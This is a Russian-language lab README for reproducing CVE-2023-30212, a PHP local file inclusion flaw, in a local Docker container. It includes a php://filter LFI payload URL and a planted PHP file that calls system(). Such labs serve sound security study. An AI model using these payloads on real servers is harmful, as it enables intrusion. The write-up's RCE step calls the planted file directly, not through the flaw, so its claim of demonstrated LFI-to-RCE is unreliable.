cve-2023-30212

PoC для CVE-2023-30212 с использованием Docker

CVE-2023-30212: Сборка среды и отчет PoC

📌 Обзор

Этот отчет содержит информацию о создании уязвимой веб-среды на основе Docker для уязвимости CVE-2023-30212, отсутствующей в Vulhub, и демонстрацию уязвимости с помощью PoC.

• Номер CVE: CVE-2023-30212
• Описание уязвимости: Возможность удаленного выполнения кода через PHP LFI (Local File Inclusion)
• Сложность: Высокая (среда, отсутствующая в Vulhub)

🔧 Конфигурация среды

1. Dockerfile и docker-compose конфигурация

• Базовый образ: php:8.1-apache
• Копирование vulnerable.php и malicious.php в директорию /var/www/html
• Внешний доступ через порт 8088

2. Описание основных файлов

🚀 Процесс эксплуатации уязвимости (PoC)

1. Запуск контейнера

docker-compose up -d

Имя контейнера: cve-2023-30212-cve-lfi-1

Сервер Apache запускается, становится доступен по адресу http://localhost:8088

2. Просмотр исходного кода вредоносного файла через LFI

Вызовите следующий URL, чтобы просмотреть содержимое malicious.php в кодировке base64:

http://localhost:8088/vulnerable.php?file=php://filter/convert.base64-encode/resource=malicious.php

При декодировании вывода получается следующий PHP-код:

<?php system("touch /tmp/pwned"); ?>

3. Выполнение команды и проверка результата

Вызовите следующий URL, чтобы фактически выполнить команду:

http://localhost:8088/malicious.php

После выполнения должен создаться файл /tmp/pwned.

docker exec -it cve-2023-30212-cve-lfi-1 ls /tmp

Если в результате присутствует файл pwned, то всё успешно.

Итоговое резюме

• Успешно просмотрено и декодировано содержимое вредоносного файла через уязвимость LFI на основе php://filter.
• Успешно выполнена произвольная команда через вызов вредоносного PHP, содержащего функцию system().
• Проверка PoC завершена созданием файла /tmp/pwned.